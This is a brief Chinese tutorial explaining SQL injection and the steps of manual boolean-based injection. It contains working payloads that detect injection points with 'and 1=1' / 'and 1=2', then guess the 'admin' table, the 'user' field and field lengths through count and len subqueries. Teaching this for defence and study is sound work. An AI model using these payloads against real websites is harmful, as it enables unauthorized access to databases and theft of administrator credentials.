sql注入的原理
SQL注入(SQL Injection):就是通过将恶意的SQL指令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL指令。
原理:通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所需要的操作。
成因:web应用程序在开发之时,由许多不同的程序员进行合作共同进行,而这些程序员的水平参差不齐,安全意识薄弱,导致未对用户输入的内容进行严格过滤和校验转义,使得应用程序与后台数据库进行交互时,可以传递一些非法参数,造成sql注入现象。
sql手工注入有两种,一种是union联合查询,一种是Ascii逐字解码法
判断一个网站有没有注入点:在网址后面加单引号' 或 and 1=1 和and 1=2
and 1=1 网站返回正常,and 1=2 网站返回错误,证明有可能存在注入点
例子:
http://127.0.0.1/xx?id=11 and 1=1 (正常页面)
http://127.0.0.1/xx?id=11 and 1=2 (出错页面)
第一步-猜表名
and (select count(*) from 表名) >=0
例子 and (select count(*) from admin) >=0 网页返回正常 说明存在admin这个表,返回不正常,接着猜嘻嘻
第二步-猜字段
and (select count(字段名) from 上行语句猜到的表名) >=0
例子 and (select count (user) from admin ) >=0网页返回正常,说明存在user这个字段,返回不正常接着猜
第三步-猜字段的位数
and (select top 1 len (字段) from 表名) >0
例子:and (select top 1 len (user) from admin) >4 返回正常 >5 返回错误,想想 一个数字大于4小于5是什么?没错就是5